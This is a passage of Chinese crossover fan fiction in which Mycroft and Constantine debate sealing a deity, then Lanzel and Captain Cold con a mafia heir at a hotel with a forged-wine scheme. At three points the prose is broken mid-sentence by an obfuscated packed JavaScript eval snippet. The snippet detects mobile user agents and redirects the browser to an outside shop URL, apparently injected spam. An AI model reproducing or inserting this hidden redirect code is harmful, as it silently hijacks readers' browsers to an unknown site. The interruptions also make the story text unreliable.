康斯坦丁显然不觉得这些事理所当然,他甚至开始思考麦考夫是不是遇上了一个家务小精灵,脾气这么好的吗这神明:“——而你在祂替你做完这些后,给祂注射了你的血。” 麦考夫纠正:“只是尝试。他在我成功前就醒了,和我打了一架,第二天——也就是昨天,就假死逃脱了。顺便一提——”麦考夫微微蹙眉,有些在意地问,“这个仪式有什么问题吗?我多方确认过它,它应该没有错。” 康斯坦丁耸耸肩,他通常不站神明这边,但福尔摩斯也确实是有点不像人了:“仪式没问题,只是通常情况下,接收仪式的目标都是被禁魔锁链绑缚着的。因为这仪式相当痛苦,没多少目标乐意经受这种折磨。只要目标在仪式中或仪式前挣脱束缚,施法者都会死得相当……精彩。” “但我没有死。”麦考夫在听到康斯坦丁的确认后放下心,“你不认为我们很有可能争取到这个同盟?尤其是当下的局势……就像你说的,人间正‘风雨飘摇’。多一份助力,或许就能多救下更多生命。而多一名敌人……” “……”不管旁人信不信,康斯坦丁做的很多混蛋事,最根源的目标仍是救人。 康斯坦丁叼回了烟,用力咬了一下烟尾:“那温彻斯特兄弟特意穿越时间封印兰泽尔又怎么说?如果他真是个好人,为什么温彻斯特兄弟要费这么番劲儿?” 麦考夫心底其实并不清楚这个问题的答案,他甚至不确定刚刚他说的证据究竟证明的是兰泽尔仍保留有一颗善良的心,还是兰泽尔仅仅对他态度不同。毕竟24年前他被温彻斯特兄弟带着去找兰泽尔的时候,对方确实正意图杀死几十个人,事后他做过很多轮调查,那些人的确没有任何案底,也没有被任何脏东西附过身。 但最终,他对康斯坦丁说出的却只是: “温彻斯特们也会出错。地狱大门不正是他们被人利用打开的吗?” 上帝啊。麦考夫面无异色地迎着康斯坦丁审视的目光,在心里想。 也许未来某天他会因今日的选择而下地狱。但在那之前,在他死亡,灵魂也一并泯灭前,兰泽尔都将是他的责任。 康斯坦丁仍叼着没点的烟,杵在原处思考,并不知道身边的人在想什么给里给气的玩意儿。但铤而走险,站在刀尖上豪赌本就是他的习惯做派,很快他就抬起头:“管他呢——我干过比这更傻逼的事。来吧,你的下一步计划是什么?——除了你的日常训练。” 麦考夫扬了扬右眉,抽出放在报纸下的情报,推到康斯坦丁面前:“我可以确认兰泽尔还有一个同伴,负责带他从爆炸的车辆中出来,从英国逃到美国中心城。情报显示这个同伙很恶趣味,极其自负,多半是长生物种——” “等等,”康斯坦丁翻资料翻得脸都皱了起来,暂时没能理解麦考夫的结论从何而来,他看到就是一帮明显被篡改过记忆的傻子在编故事,“长生物种我倒能理解,毕竟能跟神明这种长生种混在一起的多半也不普通。但恶趣味?自负?” 麦考夫重新靠回椅子上——康斯坦丁很看不惯地感觉这人又在硬拗姿势,他绝不相信有人能随意一坐就显出一种大权在握的松弛,福尔摩斯绝对在没人的时候有偷偷练过这个,就像早期的老蝙蝠还杵在屋顶上甩着披风说过“我是黑夜,我是复仇,我是蝙蝠侠!”: “想一想,如果是你来销毁罪证,你会怎么做?” “随便找个邋遢鬼的形象编进……”康斯坦丁忽地反应过来,重新大力翻起笔录,“我会给目击证人灌输同一个形象!但这个同伙没这么做,他不止是在消灭罪证……他在戏弄警方,戏弄所有来调查的人!” 麦考夫赞同地点头,欣慰于康斯坦丁并没有金鱼的那么彻底:“我跟这类挑衅警方、将权威视为小丑的人打过很多次交道。他们傲慢,自负,认为自己高人一等,以戏弄他们眼中渺小的蝼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185140|197001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蚁为乐。但这样的人也有个致命的弱点……” “他们有多喜欢戏剧性,就有多渴望舞台。” 康斯坦丁同样想到了这点,视线开始有目标性地在笔录上搜寻:“所以他也许会亲身入局……故意在笔录中混入自己的形象。” ——与此同时,山鹰瞭望台酒店,总统套房的浴室内。 半天前还针锋相对的两人此时正睡得四仰八叉,完全不知道大洋之隔的另一端,就连康斯坦丁也被麦考夫带得在猛猛赶调查进度。 兰泽尔相当霸道地横在地面中央,四肢都伸展着;寒冷队长即使睡着了也很内敛,在兰泽尔肆意伸展的四肢驱逐下,侧身蜷着长腿很憋屈地贴着墙。 时间过去十分钟……半小时……三个小时…… 也不知道是墙太凉,还是长期保持同一个姿势压麻了手臂,寒冷队长先身体一抖,醒过来。迷迷瞪瞪撑坐起身后,寒冷队长顶着一头金色的鸟窝头,因宿醉皱眉回了好一会神,昨晚的记忆才逐渐回笼。 ‘我……我讨厌你。’ ‘像个小叮当!你知道那个会洒金粉的小仙子对吧?《彼得潘》里那个?’ ‘它们就是……它们就像会闪光。’ 寒冷队长:“……” 寒冷队长:“…………” 伦纳德·斯奈特缓缓地、缓缓地屈起腿,将自己的脸埋进手掌里。 但他的自闭并没能持续多久,因为手掌上传来的酸臭气味让他脸埋到一半,就猛然直起身,再低头一看手掌和自己:“……兰泽尔!兰泽尔,醒醒!” 斯奈特简直不敢相信自己昨晚就这么浑身呕吐物的睡一整晚——还是在卫生间的地上,他用力锤了兰泽尔的肚子一拳,以几乎能把人胃打出喉管的力度:“醒醒!” “哦该死的——”兰泽尔被锤得像折叠手机一样两头一敲,醒过神来后居然又“噗通”一声倒回了地上,捂着眼睛呻.吟,“我头要裂了!” “我要吐了!”斯奈特飞快撑地从地上站起来,踹了兰泽尔的侧腰一脚,“快点洗漱!我的天,我们睡了多久?几点了??如果小范科在我们睡着的这段时间来了,又走——” 大概是宿醉刚醒,斯奈特一时没注意,一脚踩上了地上的水渍,顿时脚下一滑,向后下方坐去。 接下来简直就是一场慢放的滑稽喜剧—— 他下意识地挪动另一只脚,想撑住身体,结果一脚踩上了地板上的吹风机线,原本搁在洗漱台上的吹风机顿时拽着台面上的瓶瓶罐罐“叮铃哐当”砸落向他。 斯奈特伸出来想保持平衡的手挥舞到一半,不得不在杂物堆砸上自己的脑袋前护住头。然而收手的瞬间,他比常人更修长漂亮的手指指尖甩上了一只乳液瓶,灯泡状的瓶子顿时一个掉头,向着另一边壁挂橱柜砸去。 “哐啷哐当——” “叮铃铃铃……” “啪嚓!” “噢!!” 兰泽尔坐起身,眼看着这一系列的惨剧连环发生,直到斯奈特整个人被迫捂着头跪趴在地,身上盖满整个浴室所有没黏在墙上的东西:“……咳。” “?”斯奈特警惕地在兰泽尔的咳嗽中听出压抑的笑意,用力甩开身上的狼藉恼火抬头,“你笑什么……等等,为什么你那边什么东西都没有??” 这正常吗?整个浴室的东西都冲他飞过来了,而兰泽尔这个跟他挤在同一个浴室里的人却安然无恙? 兰泽尔无辜但明显透着邪恶地冲斯奈特笑了一下,银币从他指尖翻飞而过:“你觉得我会没考虑过你担心的问题?我说过我会帮你救回妹妹,我从不打破承诺。” “……”斯奈特忍耐地慢慢抹掉脸上的沐浴露,凶狠地瞪向兰泽尔,“你·做了·什么?” 兰泽尔耸了耸肩:“用你的运气确保小范科不会在我们睡着的时候入住又离开——但你摔得这么惨,我想小范科应该的确就在路上了。” 套房门外走廊的方向应景似的突然传来一阵杂乱的声音,斯奈特要发作的情绪一滞,视线顺着声音转过去。 按照昨晚前台小姐的保证,这些声音按理来说不可能传入室内。他们能听见只意味着昨晚兰泽尔有特意爬起来打开了通向走廊的装饰窗,又晃荡回浴室躺回地下。 “你——是不是——脑子有病?!”斯奈特从牙缝里挤字,下一刻手脚并用地从地上爬起来,顺带扯起兰泽尔,“是小范科吗?!我们该怎么办!你的酒酿好了吗?!” “你见过什么名贵的酒可以在一个晚上陈酿完的?”兰泽尔这时候知道挑剔了,用两根手指拈起脏兮兮的衣服,片刻后才在斯奈特想刀人的瞪视下施施然抬头,再次笑得像只邪恶黑猫。 他用干净的手指夹着银币,冲着斯奈特晃了晃:“但我们有办法可以延长他住店的行程……” “……”斯奈特很难不磨牙,“兰泽尔……YOU DICK!!” 8. 第 8 章 2分钟后。 兰泽尔顶着一头泡沫站在浴室花洒下,享受着每晚4500英镑的房间提供的直引温泉水,顺便对着镜子往自己脸上贴看不出牌子、但肯定同样昂贵的面膜。 客厅里传来正郁闷地用装了水的脸盆和小毛巾打理自己的斯奈特的声音: “所以——你有操纵运气的能力?具体是怎么生效的?我需要坐得……离头顶的水晶吊灯远点吗?” 其实斯奈特原本也想在浴室洗澡的,反正套房的卫浴足够多。但兰泽尔半途拦住了对方,表示“虽然你不想穿着一身腌菜去见小范科,但也不想被电得焦焦的、烫得熟熟的、勒得死死的去见小范科吧?” 这当然是夸张,但斯奈特不知道。在兰泽尔将镶着粉花的小脸盆和毛巾发给斯奈特后,斯奈特的屁股就没敢随意离开过沙发坐垫。 兰泽尔使劲摁住面膜的边角忍住笑,装模作样地沉声道:“关于这个——” 正常情况下,当然不至于。 兰泽尔又不是什么巫师恶魔,故意操纵运气只为了害人。运气在他的手上流淌是遵循能量守恒的,只要斯奈特不是要跟人以命换命,只是让小范科在酒店里多呆一段时间根本不会对斯奈特造成多大的伤害。顶了天了就是原地摔跤,脑袋嗑在桌上昏睡过去。 但兰泽尔会说实话吗?那必不可能。 “——最好离远点。”兰泽尔严肃地说。 “也小心一下窗户。万一有什么高尔夫之类的砸进来呢?空调和通风口也得注意,你不会希望一氧化碳灌进来……” 兰泽尔一边说一边冲完身上的泡沫,抓下浴巾往腰间一裹,就一手按着浴巾,一手拿毛巾搓着头发,大步走出卫浴:“我们应该点一盘水——” “果”字卡在了他的嗓子眼。 客厅茶几旁的地面上,本该在安安全全打理自己的斯奈特半弓着身体,痛苦痉挛着。 不知道是什么东西噎住了他的嗓子,令他无法发出呼救,拼命拍向四周的手捶打在厚实柔软的羊毛垫上,所有求生的声音,都被质量上佳的布料和打翻的水一道吸收。 “——斯奈特!”兰泽尔霎时松开擦着头发的手,一步上前。 他没有伸手去扶斯奈特。因为在斯奈特的身侧,还站着一道身着黑西装、白衬衫,打着黑色领带的身影。 身影有着一张明显不属于活人、肌肤褶皱苍白的面孔,在对上视线的一瞬间,兰泽尔就认出了对方的身份: “——死神。” 死神怎么会出现在这里? 斯奈特怎么会无缘无故就要猝死? 按理来说,小范科每次下榻山鹰瞭望台,都会在这儿住上至少一周,现在的斯奈特甚至应该连一点代价都不需要支付才对,为什么会发生这种意外? “——” 锐痛伴随着尖利的嗡鸣一道凿进头颅,兰泽尔闷哼了一声,一手捂住随着思考剧痛欲裂的头,另一手毫无犹豫地一把扯下腰际的浴巾,当做麻绳猛然绞向漂浮在斯奈特身侧的死神! “呼……” 黑色的身影霎时像烟雾般消散了。但下一瞬,死神倏然浮现在兰泽尔身后,苍白枯槁的手探伸向兰泽尔的头颅! “G?fa snúask!” 兰泽尔无视身后的死神,一把将从指尖滑落而出的银币拍上斯奈特的额头,被卷走、用以拖延住小范科脚步的运气霎时回涌。 下一刻,斯奈特猛地呛咳一声,睁开双眼,麻木的四肢重新有了些许力量,双手本能摸索着撑住地面,试图起身。 “……”空中的死神停住了,低头看向斯奈特。片刻后,瘦削的身影无声地消散于空气中。 “斯奈特!”兰泽尔紧盯着死神消失,才猛冲回去,伸手将斯奈特拉坐到沙发上,“嘿!清醒点,看着我。” “怎么……怎么回事?”斯奈特的眼睛还涣散着,濒死的体验令他出了一身的冷汗,“我没有移动,也没有吊灯或者高尔夫砸到我——” 兰泽尔强行给他灌了一小口白兰地:“很明显,在原本的命运线上,小范科应该刚到酒店就被迫离开。” “拽他离开的多半是某人的死讯——但你的运气在试图推迟这个时间节点的到来,这等同于以命换命,所以死神转而来收你了。” “……什么?”斯奈特喘着气,眼睛恢复焦距,“死神?——你怎么流了这么多血?” 兰泽尔松开斯奈特,抹了一下自己的下半张脸,不意外地看见满手殷红:“还能因为什么?”他巧妙地模糊了事实,“我刚为了救你跟死神打了一架。但这不是最关键的——最关键的是我们不能再用运气拖延小范科,得另找法子了。” “好吧,”斯奈特显然没想到会得到这样的答案,居然有人为他硬刚死神。 有些不知道说什么地坐起身,斯奈特的视线自然地向下一挪:“——哦该死!你就不能找条裤子穿上吗?!” 正拿着毛巾擦鼻血的兰泽尔眨巴眨巴眼睛,看着没眼看地仰起头的斯奈特,又低头看看自己正和阳光坦诚相见的身体,一个鬼主意霎时点亮,因为没怎么过脑子甚至都没让脑袋发疼:“——我有办法了。” “?”斯奈特面露警惕。 5分钟后。 兰泽尔和终于洗漱完毕的斯奈特站在床前,面对着兰泽尔打电话让服务生送上来的方形礼盒。礼盒已经被拆开了,一条美丽的红色包臀鱼尾长裙正躺在床上流光溢彩。 斯奈特:“……” 斯奈特:“你觉得现在我有心情跟你开玩笑——” “我没在开玩笑。”兰泽尔毫无抵触心理地伸手拎起长裙,往自己身上比划了一下就开始脱上衣,“小范科精于谈判,防备心强,唯一的弱点是好男色。即使这么做没法将小范科留在酒店,也能劝说他带我们一起去参加那个他必须要去的葬礼——呃!这领口怎么套不下去?不是让前台买的最大码吗!” “……”斯奈特看着兰泽尔被长裙束缚着手臂,两个胳膊高抬着扭来扭去,几乎想一拳打晕自己,好不再看这个无理取闹的世界,“你的肩膀太宽了。” “嗯?”兰泽尔费力地从衣裙里找到随便哪个开头,从布料下探出脑袋瞅了斯奈特一眼,“——啊!好极了!你的肩膀看起来比我瘦了一圈,你——” “你休想!”斯奈特霎时向后退出半个屋子那么远,“我——” 杂乱的声音忽然从敞开的装饰窗传进来,兰泽尔和斯奈特同时回头,看向走廊方向。 “你在跟我开玩笑吧?”一道愤怒的男声压过脚步声和低声劝说,“我在委内瑞拉挨子弹的时候,我们家那个老头子还在女人堆里打滚,而现在,他要断气了,我就得立刻飞回去看他?!凭什么?为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185141|197001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他当年快活的时候没把我射在墙上吗?——不,不。我不管他是父亲,我是儿子,奔丧天经地义——我不会回去——” “您必须得回去,”另一道男人的声音响起,周围还带着一堆人的附和,“不然他把家族传给戴蒙怎么办?这就是您想要的吗?您想您的父亲把本该属于您的权利传给戴蒙吗?” “……” 客厅里,兰泽尔和斯奈特一动不动地杵在原地,激烈地互相交换了一下眼神。 兰泽尔:‘快啊!小范科都要走了,你还磨蹭?快帮我把这裙子脱了你穿上!’ 斯奈特:‘……不,一定有别的办法——’ 兰泽尔瞪大眼睛:‘你还要不要救你妹了!真死了我可不负责!’ “……”斯奈特的防线彻底崩溃,猛地深呼吸了一口气。 他挂着痛苦面具轻手轻脚地踩着毛毯赶到兰泽尔身边,伸手拽住礼服:“……别乱动,别挣扎了!本来就已经很紧了,你这样只会让事情变得更麻烦!停下!别踹我了!你确定——” 斯奈特本来想问“你确定小范科喜欢穿裙子的男人?还是得易容成女人”,然而话没说完,他在不经意间抬头,就透过敞开的装饰窗对上一双蓝眼睛。 原本还满是怒气的小范科靠在装饰窗边,饶有兴致地对着纠缠在一起的两个男人吹了一声口哨。 一大帮子黑西装壮汉站在小范科身后,冲着窗户里的兰泽尔和斯奈特虎视眈眈,深仇苦恨的样子仿佛忠心耿耿的臣子看到了迷惑陛下的狐狸精。 “……”斯奈特一整个僵住。 在他漫长的反派生涯里,哪怕是逆闪电他也对峙过,甚至还去哥谭做过交换生。但他真没色诱过男人,现在根本不知道该怎么办。 兰泽尔倒是高高挑起眉头,拽下终于不再紧缚的红裙,大方地冲着窗口转过身,殷红的布料顺着他赤.裸白皙的胸膛红酒似的流淌下去,一路拂过漂亮的腹肌,挂在松垮敞开的牛仔裤裤腰上:“看什么?想加入我们?” “……”斯奈特绷紧着后背,无声松了口气。 虽然过程惊险,但谢天谢地,最终不是他出卖色相。 小范科手臂搭着装饰窗,目光饶有兴致在兰泽尔身上游移了一下,不知为什么忽然产生一种后颈发毛的不适感,目光不由自主就逃避式的转回兰泽尔的脸。 这本该让他感到奇怪甚至警惕,但潜藏在本能中的危机意识驱使他的大脑同样逃避式的忽略了这点异常,只遗憾地冲着兰泽尔耸耸肩:“我也许更喜欢你同伴的体型……腰更细,屁股更圆。” 如释重负到一半的寒冷队长:“…………” 钢铁直男[1]斯奈特无声攥紧了拳头,在这一刻忽然生出了一抹浓烈的思乡之情。 他想念中心城,想念一点不给的闪电侠,想念根本不需要他色诱同性的犯罪生涯—— 兰泽尔毫无同情心地冲着斯奈特咧嘴笑了一下,伸出邪恶的猫爪子,一巴掌拍上斯奈特的屁股,借着调侃的动作不着痕迹地将保持通话状态的手机塞进斯奈特的裤子口袋: “去啊。你这么努力跟我抢裙子是图什么?不就是想趁着这几天假期勾搭上一个强壮帅气的意大利男人吗?” 斯奈特:“…………” 但愿他在意大利的所有见闻能永远留在意大利,否则他将追杀所有知情者。 9. 第 9 章 “Well,you can tell by the way I used……”一阵攒劲的小曲忽然在走廊内响起。 本还兴致高昂的小范科绷了几秒,最终还是翻了个不耐的白眼,拿起手机走到一旁。也不知电话对面的人是谁、说了些什么,等他回来的时候,脸上只剩下遗憾:“我很抱歉,虽然我很乐意满足你们小小的心愿,但正事当先。” “?!”寒冷队长被兰泽尔使劲捣了一下侧腰,只能硬着头皮匆匆道,“等等。不能再留哪怕半个小时?我从没……” 他磨了一下牙,憋着气说:“我从没遇见过第二个意大利男人,能像您这样气度不凡,又英俊强壮。我知道我不该纠缠,但如果我不问,日后绝对会后悔——难道真的不能留下……哪怕半个小时?” 兰泽尔流里流气地单手揣着口袋靠在旁边的橱柜边,弹着银币把玩。一边毫无同理心地咧着嘴看戏,一边火上浇油地冲着斯奈特吹了声调戏的口哨。 他其实很清楚自己当下的情况根本用不了什么美人计,更清楚奢侈品牌的女装尺码有多不把女人当人。说是自己上,但这条美人计注定了最终得落在斯奈特身上。 迎着斯奈特要将自己生吞活剥的眼神,兰泽尔挂上祝福的表情,冲着斯奈特挥着小手,一路目送绝望的直男被经不住诱惑的死给揽着腰,带离视线。 “咚!” 隔壁的套房房门被重重关上了。 兰泽尔冲着走廊门口被气得够呛、但也不能做什么,只能对他怒目圆瞪的黑.手党手下们挑了下眉,也“乒”地关上装饰窗。 房间内安静了下来,手机忠实转播着隔壁的逼良为娼: “你怎么这么紧张?看看你的身体……绷得这么紧,一会儿真刀实枪了不得吃苦头?” “……”沉默是直男绝望的呐喊。 “来吧,时间可不等人……你叫什么名字,亲爱的?” 隔壁房间内。 斯奈特的内心充满了掏出冷冻枪,射穿死基佬的欲望。但碍于妹妹尚未得救,他唯一能做的只有屈辱回复:“伦……”不。他绝不要说出自己的真名,“……兰尼。” “多可爱的名字。”小范科绅士地将人牵到沙发边,顺手播放起茶几上的黑胶唱片,一手压上斯奈特的肩膀,将人推倒在沙发——推倒——推—— 试了几下都没能把铁塔一样矗立在沙发上的斯奈特推倒的小范科:“?” “……”斯奈特真心不知道该怎么做了。 难道真的顺势躺下,任小范科……那什么什么??不……不会吧! 斯奈特好绝望。然而也就是这点绝望僵硬的功夫,小范科的大头重新控制住了小头,收回手冲他略有些防备地皱起眉。 斯奈特心中一跳,嘴比脑子快:“我是第一次。” 嗬——斯奈特在心中痛苦地倒抽气,心想杀死我吧!!人活着是要脸的! 然而要脸显然在眼下这档子事上帮不了什么忙,小范科眉宇微松,叹了口气,还是站起身重新系回领口的纽扣:“我很抱歉。一般情况下我不怎么跟处男睡——没有冒犯的意思,只是个人偏好。” 斯奈特下意识地想拦,却发现自己身体僵得根本动不了,未解决的根本矛盾使他僵持在原地: 即便拉住了又怎样?还不是得卡在真……真枪实战这步? 该死!这步意外根本没在计划内,没等他们对完新的安排,小范科就提前横插了进来……实在不行—— 斯奈特的目光悄然扫向小范科的脖颈,眼底掠过一丝冰冷的杀意。 在他们离开出租仓库前,兰泽尔就和他讨论过最糟糕的情况。 “杀死或劫持小范科绝不是什么好办法。”兰泽尔当时叼着煎饺吸汤,被烫得吸溜喘气。 “前者只会激怒黑.手党家族,为丽莎招致更残忍的刑罚。即使兰泽尔能够易容成小范科,戴蒙这个见天盯着小范科找漏洞的竞争对手难道会看不异常?” “劫持虽然好一点……但也同样有风险。万一戴蒙听到这个消息,出于不希望小范科被救回来的心态,直接吩咐自己的人将丽莎杀死,以求激怒绑匪,借刀杀人解决自己的竞争者呢?” ——但现在的情况,是不做最糟的打算就会前功尽弃。 斯奈特盯着转身背对他,弯腰去捡风衣的小范科,手悄然伸向茶几上的黑胶唱片。 正想着如何直接砸碎这东西,用碎片割开小范科的咽喉—— “咚咚!” 房门忽然被人欢快的敲响。 兰泽尔的声音透过装饰窗从外传来:“介意我进去吗?我的同伴有点……爱害羞,我准备了一些不错的酒。” 小范科闻声转身,斯奈特闪电似的收回手,看着小范科大步走到门前,打开套房门:“谢谢,但我得走了。为表歉意,我会跟前台联系,替你们支付这次的……” 小范科的目光落在兰泽尔拿着的酒杯上,后续的话渐渐顿住了。 兰泽尔并不意外地冲小范科微微一笑,毫无拘谨地将威士忌杯往小范科面前一递:“真的?这样的好酒都没法填补我的同伴在床事上的小不足?” “……”小范科又盯着酒杯看了片刻,居然伸手接过了酒,轻嗅了几下后闭目微抿了一口,片刻后睁眼,用和之前截然不同的目光打量了一下兰泽尔,“好酒?你的确将83年的捷克雪溪威士忌仿得不错,麦香……口感,但真正的雪溪威士忌是近乎金色的,你不觉得你仿得……有点太橙了?” 兰泽尔扬了下眉:“没想到能碰上一个真正的行家。怎么,我们遇上同行了?” “……”小范科盯着兰泽尔看了几秒,原本已经踏出门槛的步子又收了回来,原本用来猎艳的轻佻笑容变得危险而滴水不漏,“你不知道我是谁?尝完你的酒后,我几乎要怀疑你们……兄弟?同伙?随便是什么吧,我几乎以为你们就是冲着我来的了。” 斯奈特在小范科身后目光微抬,再次做好了随时动手的准备。 兰泽尔却很坦然,冲着小范科耸耸肩:“被你猜中了。我们从英国赶来,的确是为了找一个……足够慷慨可靠的合作者,范科家族永远是行业首选,不是吗?” “这话倒是没错。”小范科又抿了一口威士忌,晃晃酒液看了眼沾壁的状态,“但如果你能提供给我的只有这种酒……我恐怕没有兴趣。” 兰泽尔意味深长地笑起来:“83年的捷克雪溪不够格,45年的富兰克林葡萄酒呢?” “?”斯奈特眉心一跳。 45年的富兰克林葡萄酒,不就是兰泽尔说要仿的酒吗?他记得兰泽尔说过,这款酒至少需要半个月的时间才能仿造出窖藏于特殊橡木桶中的独特风味。兰泽尔昨晚才将酒灌进橡木桶中陈酿,现在怎么可能拿得出来? “45年的富兰克林?”小范科看着兰泽尔确认性的重复,“那款杜法克酒庄因为战乱只保下了最后50瓶,酿酒人也在二战结束的最后一年不幸被杀的葡萄酒?” “没错。”兰泽尔随手将没喝完的威士忌往旁边杵着的黑衣壮汉手里一塞,气得黑.手党的眼睛里差点没喷出火,“酿酒人的悲惨故事,技艺绝版的稀罕,再加上不多不少50瓶的留存量……不正让它成为最适合的仿酿对象?” “……我有点被你说动了。”小范科笑起来,“但前提是你真能酿出这样的宝贝。如果你只是在耽误我的时间——” 走廊尽头传来服务推车车轮的轱辘响声。 兰泽尔好整以暇地向车轮声的方向展示性地一伸手:“品尝一下,小范科先生不就知道我是否在夸大其词了?” 走廊尽头,笑容甜美的服务小姐终于将装载着一只冰块桶、桶里插着一支葡萄酒的推车推到了套房门口:“按照您的要求帮忙冰好的葡萄酒,敬请享用。” 小范科的目光落在工艺粗糙的葡萄酒瓶上,权衡半晌,终于还是向后退了一步:“来吧,我非常期待。” 一行人陆续进入室内,斯奈特在兰泽尔走进客厅的瞬间起身,靠近后压低声音:“你是怎么——” 兰泽尔头也不回地拍了拍斯奈特的后背,示意对方放心。跟在小范科身后在沙发上坐下,看着之前那个被塞威士忌的手下心不甘情不愿地帮忙撬开橡木塞,倒好两杯红酒。 “还是一样的问题,你看起来在仿色上不怎么拿手啊。”小范科盯着茶几上的红酒,半晌伸手拿起酒杯。 “如果仿得一样了,我该怎么分辨它的真假呢?”兰泽尔先喝完自己那杯以示无毒,示意小范科品尝,“试试吧。您应该品尝过它的正品。” “……”小范科抬起酒杯,闭眼抿了一口,片刻后倏然睁眼,锐利的目光投向兰泽尔,“你手头上有多少瓶成品?还有——既然你有这样的技术,为什么不单干,却要特地跑来找上我们?” ——这话一出,所有人都清楚这桩生意基本是敲定了。 斯奈特不着痕迹地猛松了一口气,有些疑惑地看向兰泽尔,还是没搞清楚兰泽尔是怎么做到的。 兰泽尔倒是从头到尾都很松弛,直接往沙发上懒洋洋一靠:“您看到装酒的瓶子了。我们仍有一个……怎么说呢,团队组建的小问题。始终找不到技艺过硬,又可以信任的同伴来仿造酒瓶。” “这款葡萄酒的酒瓶可不是吹玻璃这么简单,还要仿造酒瓶上的鸽血红宝石……如果您能提供一位对珠宝极为了解的人才,我们能立即开始为您工作。” 周围的幕僚们低声交头接耳起来,即使不听,陪麦考夫和范科家族打过几次交道的兰泽尔也清楚,范科家族只做烟酒,从没接触过珠宝仿制。 这都是因为老范科爱珠宝成癖,大概是因此产生了一种己所不欲勿施于人的心态,当然也可能是怕自己终日猎鹰终被啄眼。 总之,所有的讨论最终只会指向唯一一个方向—— “小范科先生,”一个灰发男人弯腰凑到了小范科身边,听声音似乎就之前劝说小范科一定得回去的那个幕僚,“之前老范科先生送去美国展览的帕拉伊巴招来了一个还挺有名的珠宝大盗,也许可以把她带回来试试,看能不能帮这两个从英国来的家伙打下手呢?” “……”斯奈特眼神微动,忽然意识到之前兰泽尔特意强调他们是从英国来的是图什么——撇除他们可能是营救者的嫌疑。 小范科仍有些疑心地盯着两人思考了片刻,又缀饮了一口红酒,最终还是没抵过对如此精湛的酿酒手艺的见猎心喜:“去收拾行李。你们跟我一起回家族。” 兰泽尔半躺在沙发上,做了个花里胡哨的挥手行礼动作,随后才站起身,拍了一下斯奈特的后背示意对方跟自己一道回到房间。 斯奈特跟在兰泽尔身后走回套房,关上门窗就按捺不住地一把攥住兰泽尔的肩膀,将人抵撞在墙壁上:“那酒怎么回事?你告诉我没有半个月根本酿不出来那什么葡萄酒,难道是骗我?你是在故意耍我,让我穿那条裙子,去色诱小范科吗?!” 兰泽尔撇了下嘴:“我给前台打了个电话。” “什么?”斯奈特皱眉。 “你知道像这样的高档酒店,只要给够钱,前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185142|197001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台经理几乎无所不能吧?” 兰泽尔轻描淡写地说,“我把车卖给了她。” “换她为我在最短的时间内搞来一瓶真正的富兰克林葡萄酒。” “你卖了……”斯奈特顿住了,大脑又空白了一瞬,“你卖了……阿波罗?你不是说那是你老婆?” “我随时都能把她再接回来,但你妹妹的命就不是了,对吧?”兰泽尔无所谓似的抓开斯奈特的手,将自己的衣领拯救出来。 信手拍了拍,抬起头看向脸上仍是一片空白的斯奈特:“你是我的旅伴,这么算你的妹妹也勉强能算是我的半个旅伴。” 他微微靠近斯奈特,因为身高的缘故,这个自上而下笼罩来的姿势近似威迫,加重的语气更助长了这种倾向:“——没有同伴可以未经我的允许随便就死,上帝来了也不行。我说明白了?很好。” 兰泽尔向后退了一步,弯腰抓起行李箱:“行了,别发愣了。去浴室把所有面膜乳液牙膏都卷出来,小范科都说会帮我们支付房费了。” 刚因兰泽尔逼近时的眼神放缓心跳的斯奈特:“…………” · 兰泽尔有种随意就能牵动人心情大起大落的能力。斯奈特收拾行李的时候还在思考,这算不算煤气灯,自己是不是被煤气灯了?不然怎么会一边觉得兰泽尔这人可恨之余,一边又觉得这人似乎藏着很多故事,对此格外在意呢? 有那么一瞬,他甚至注意到兰泽尔的脸色和唇色都有点发白,都想多问一句是不是昨晚酒喝太多伤到胃了! 而相比于还在深刻反省自己有没有斯德哥尔摩的斯奈特,兰泽尔就轻松多了。 他把行李箱统统丢给斯奈特负责,自己溜达到前台,打算问问前台需要多少钱才愿意把车再卖回给他,如果实在谈不拢,那就直接无痛购车——简称偷了车就走: “听着,关于之前那辆车——” “是的,先生。”不知道为什么,前台经理的笑容似乎比之前任何一刻都更加真实甜蜜。 她从柜台里摸了什么出来,放到台面上,往兰泽尔面前一推:“这是您的车钥匙。” “……?”兰泽尔下意识地低下头看钥匙。 这倒真有点出乎他的预料了。有那么一刻,他甚至想到难道小范科已经发现了他的计谋—— 前台经理笑容如嫣:“一位名叫M.H的先生已经替您支付了赎车的钱。并且希望我帮忙给您这个。” 前台经理又拿出一个小塑料袋推到兰泽尔面前。 “什么?什么M.H?”身后传来斯奈特的声音。 